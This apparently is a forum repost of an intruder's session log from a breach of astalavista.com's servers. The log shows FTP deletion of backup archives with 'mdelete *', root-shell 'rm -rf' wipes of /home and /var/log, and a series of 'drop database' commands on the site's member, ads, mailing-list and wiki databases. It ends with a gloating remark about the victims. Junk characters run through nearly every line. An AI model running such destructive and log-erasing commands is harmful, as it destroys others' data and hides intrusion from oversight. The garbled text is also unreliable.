ftp> ls -la
/ U# C% M& }7 r& e% M2 W227 Entering Passive Mode (212,254,194,163,2,189)
+ g: y1 R4 a& S3 f$ ?: n, s150 Opening BINARY mode data connection for ‘file list’.
1 }( p5 X# D; u-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
. H* a/ o! g5 y0 a( V# X% F-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz2
+ O0 g3 T$ G7 @* q9 ]7 J-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2$ h) t3 L; B' }6 V+ q) `
-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar$ Q, X9 k( ], H+ w4 D5 \$ A
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar
( d. O/ |2 u/ s4 a% |" x[snip]; n9 M6 v3 c1 n
226 Transfer complete.! r! Q' s9 I. {0 Q
ftp> mdelete *
. Y- W" J3 V. |! a2 E5 ~* |ftp> ls -la$ p- U' O# R4 g2 ^
227 Entering Passive Mode (212,254,194,163,2,193)
! f0 x! E- a: o) w1 s150 Opening BINARY mode data connection for ‘file list’.
- F8 M' b' o1 Y. x3 E( E226 Transfer complete.
5 } S% E5 J' Qftp>
2 g7 V1 g! E% q% T1 P) q! [, \) |4 N# N; G3 ^, A
sh-3.2# cd /home
6 _ {" p3 M# n. v8 w1 Tsh-3.2# ls -la1 m$ x4 [( U! h
total 120, f3 v, f6 O. `# v l y
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .4 S. _& F# h2 B# m
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..0 Y: r4 c5 R% O
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin1 _+ F0 F" u9 H9 ]) p5 z
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group5 o; C2 k+ h, _
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
+ r3 x2 X: L7 \) C1 H' V7 F2 D2 Sdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet. s6 G$ C% v9 g6 Y
drwxr-xr-x 2 root root 4096 Jul 29 2008 backup
4 C8 N8 H6 i' u3 J0 l: e p- b2 w4 Hdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
# f" t( Q: [% p0 R4 W7 Ndrwx–x–x 10 com com 4096 Apr 28 12:40 com( u+ d$ w; a( F8 _: t1 Q, l( q
drwxr-xr-x 2 root root 4096 May 17 2007 ftp
+ J2 g6 f" ^2 |+ T+ ?' Sdrwx—— 3 jon jon 4096 Sep 21 2007 jon" G* T$ s& }1 g0 q( `2 E) V/ ~6 [& l
drwx—— 2 root root 16384 Sep 11 2007 lost+found2 W( K% X8 o% X7 g- _2 |
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
, d+ m, |* Y0 y2 J5 S' ddrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
) @% L& B; n# N0 [6 p+ |7 c0 a+ mdrwx—— 2 jon jon 4096 Sep 15 2007 test
# b& I0 O( d; edrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp( X. C" O; @% Y( ^. i, t' m& @
& q: ]: j4 K w; S8 I, j' V, t
sh-3.2# rm -rf backup/; E9 g* H) O9 d" _+ k
sh-3.2# rm -rf backup.14161/
! v8 x# \0 F0 F& Csh-3.2# rm -rf ftp// R5 w, `, k' M4 A. w5 o
sh-3.2# rm -rf jon/
$ i7 q# W2 P+ U8 {8 ksh-3.2# rm -rf my/
4 K9 P5 a+ y& R/ J5 A, Lsh-3.2# rm -rf mysqldata/
+ ]7 b" H3 H" I; _+ d- hsh-3.2# rm -rf test/$ \9 {5 k" L) B6 c1 n& o* |% Q% C
sh-3.2# rm -rf tmp/
! j: ]/ I8 U$ d6 z0 gsh-3.2# cd ~
4 `0 h. l# `8 J1 f' }$ w. s+ nsh-3.2# rm -rf *
: O# N* O$ M1 A- f. ash-3.2# rm -rf /var/log/# o2 @ |+ y/ a4 b! o
rm: cannot remove directory `/var/log//proftpd’: Directory not empty
5 O8 g0 m+ Q, k% Ksh-3.2# rm -rf /home/*
/ i! k4 x; k ]) O- X( v( N( ush-3.2# mysql$ Z) u+ N3 A7 r7 Q
Welcome to the MySQL monitor. Commands end with ; or \g.
& N3 K7 _7 @" i# C& B& QYour MySQL connection id is 407156
: u( S0 r' L- j9 b6 U% G! l, gServer version: 5.0.45-community-log MySQL Community Edition (GPL)' k; H" c7 x% l+ u% D
+ k& v( r: J0 p
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.& n( p7 o# y4 N( m
$ `) \( E/ g) T9 o& U( x3 r
mysql> show databases;, v9 S% Y/ o. r0 _ I
+———————–+2 G2 k3 r- K% c
| Database |% T& K% ^, ^7 h9 I8 i: y
+———————–+0 U: `& _% d K1 i5 I
| information_schema |& u+ {- Q3 t( Q! d B3 M/ F
| astanet_ads |
( q% s8 b$ {3 ]1 \| astanet_mailing_lists |3 R" T5 N+ v; X/ s& v7 l5 J% `
| astanet_mediawiki |
! z; \4 w5 Y$ p# w/ {$ C. P- L4 s# d| astanet_membersystem |7 [, B9 p, ?) ]: P
| com_contrexx |
. g( r. ~* N* n/ }| com_contrexx2 |7 E' C! q3 ?) p0 W
| com_contrexx2_live |
/ ]2 k1 h2 I( S2 H0 A/ n- t$ d| da_roundcube |) E0 ?, C' I+ F6 D
| dolphin |
' l+ o7 ^: z; J6 r$ m| ideapool |
- }( n7 V7 l( { Y. R- Q| mysql |
6 u" h( k( |; N3 L3 \/ C| test |
5 p. Q- b& G: |9 t" Y6 {| yourmaster |
- s6 F7 ^: w+ L F: g+———————–+/ a0 x2 b& \; y9 N" O6 ]3 j
14 rows in set (0.03 sec)
3 X& W5 ]" r4 i% z! V5 Z% @% D$ S4 A# x& j; M
mysql> drop database astanet_membersystem;
5 D+ [% m2 d( S0 idroQuery OK, 46 rows affected (0.81 sec)$ Z# a$ B9 M3 d3 o
6 @. q. O A) b( K( k2 Rmysql> drop database com_contrexx;; Q8 D% T1 c! y" { i" X
Query OK, 211 rows affected (2.72 sec)
# n8 c0 z5 e* c" o; T' t/ ?; c, |8 c, u
mysql> drop database com_contrexx2;
" ]5 E* ~# L: S& A" Y# V7 rQuery OK, 237 rows affected (2.23 sec)9 a6 m9 F$ h* Y: A0 l( Q
' K' v& @! c! T8 T7 H# T
mysql> drop database com_contrexx2_live;( d# j) k7 r3 G. a7 M1 X6 `, k: I
Query OK, 227 rows affected (7.63 sec)+ T; h, \' O& u2 f
8 `, z$ m" T) Y/ L
mysql> drop database ideapool;3 ]1 y( P; B$ A$ P Q
Query OK, 69 rows affected (0.19 sec)
/ ]+ I) }/ T6 L3 ~* j% U( }( j$ E7 [& H$ ~! w
mysql> drop database yourmaster;! {4 c! C6 ~. k/ c% S! k0 a
Query OK, 158 rows affected (0.55 sec)% Q6 z/ _8 j+ A/ {0 I; B
" }! S, k8 v* p" H1 ?
mysql> drop database astanet_ads;* w% R1 M7 a3 n& I
Query OK, 9 rows affected (0.11 sec): b! G9 U Y! z* w
5 F# }* b4 ?( `1 Qmysql> drop database astanet_mailing_lists;
7 \2 T S3 a( m0 g- U) Y. aQuery OK, 24 rows affected (1.47 sec)
+ d/ a" A& ^: t4 i5 D8 c3 F3 I/ N
4 { W% _0 W: Z- X Jmysql> drop database astanet_mediawiki;, d) E9 b/ |* |: c2 t8 F; p; O7 p
Query OK, 31 rows affected (0.51 sec)
o& J) S$ K! d2 T5 S% z' ^, N% Y/ c. V: g6 T k a& ~8 z$ {
mysql> show databases;
3 `" A! g/ X' ?! k- [+——————–+
& i1 H- z6 J) g6 \! |# V/ H4 r| Database |
/ `- F* K: M& Y+ G* G9 O+——————–+
% s8 b A+ @0 P6 I| information_schema |
+ ?& _: n# w, R" C- L4 Y| da_roundcube |
/ V* R' y. Z1 k2 U| dolphin |- h! `/ v6 {* w% B; ^8 ~
| mysql |8 g9 [$ H6 \; I1 p J6 O( P! s$ L" p
| test |' k: l3 U& l( N
+——————–+4 X: w3 i6 S( ~! ]7 `7 E6 x
5 rows in set (0.00 sec)
* [- d# T: K5 Y( E% M, C* T1 ]7 u, u4 h8 r2 z1 x' n
What a journey! We’re not sure exactly why the “Terminator” had any influence on
) ~- f5 y8 V3 h8 `4 {3 ~their naming (conventions) but we’re sure Arnold himself wouldn’t be in the
# a1 T Z1 Y0 T6 M3 twrong to say this pack of morons *wont be back*.$ h" d% U1 s0 F( n
|
发表于 2012-11-6 21:07:34
收藏
支持
反对